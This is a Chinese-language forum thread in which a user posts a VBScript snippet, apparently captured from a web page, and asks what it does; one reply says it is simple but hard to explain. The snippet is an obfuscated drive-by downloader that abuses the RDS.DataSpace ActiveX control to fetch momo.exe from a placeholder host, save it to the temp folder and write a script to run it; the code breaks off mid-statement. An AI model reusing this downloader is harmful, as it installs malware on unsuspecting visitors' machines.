有个VBScript代码不懂什么意思！请问有哪位高手能解释一下吗？

lianglei

---------------------------
VBScript
---------------------------
on error resume next

curl="http://xxx.xxx.xxx/momo.exe"

fname1="momo.exe"

fname2="momo.vbs"

Set df = document.createElement("object")

df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"

str="Microsoft.XMLHTTP"

Set x = df.CreateObject(str,"")

C1="Ado"

C2="db."

C3="str"

C4="eam"

str1=C1&C2&C3&C4

str5=str1

set S = df.createobject(str5,"")

S.type = 1

str6="GET"

x.Open str6, curl, False

x.Send

s1="Script"

s2="ing."

s3="File"

s4="SystemObject"

s0=s1+s2+s3+s4

set F = df.createobject(s0,"")

set tmp = F.GetSpecialFolder(2)

fname1= F.BuildPath(tmp,fname1)

S.open

S.write x.responseBody

S.savetofile fname1,2

S.close

fname2= F.BuildPath(tmp,fname2)

Set ts = F.OpenTextFile(fname2, 2, True)

ts.WriteLine "Set Shell = CreateObject(""Wscript.Shell"")"

sql="Shell.Run("""+fname1+""")"

ts.WriteLine sql

ts.WriteLine "set Shell=Nothing"

ts.WriteLine "i=1"

ts.close

if F.FileExists(fname1)=true then

if F.FileExists(fname2)=true then

    sha="Shell.App"

    shb=sha

   
---------------------------
确定   
---------------------------
http://xxx.xxx.xxx/

xingke

很简单，不过不太好解释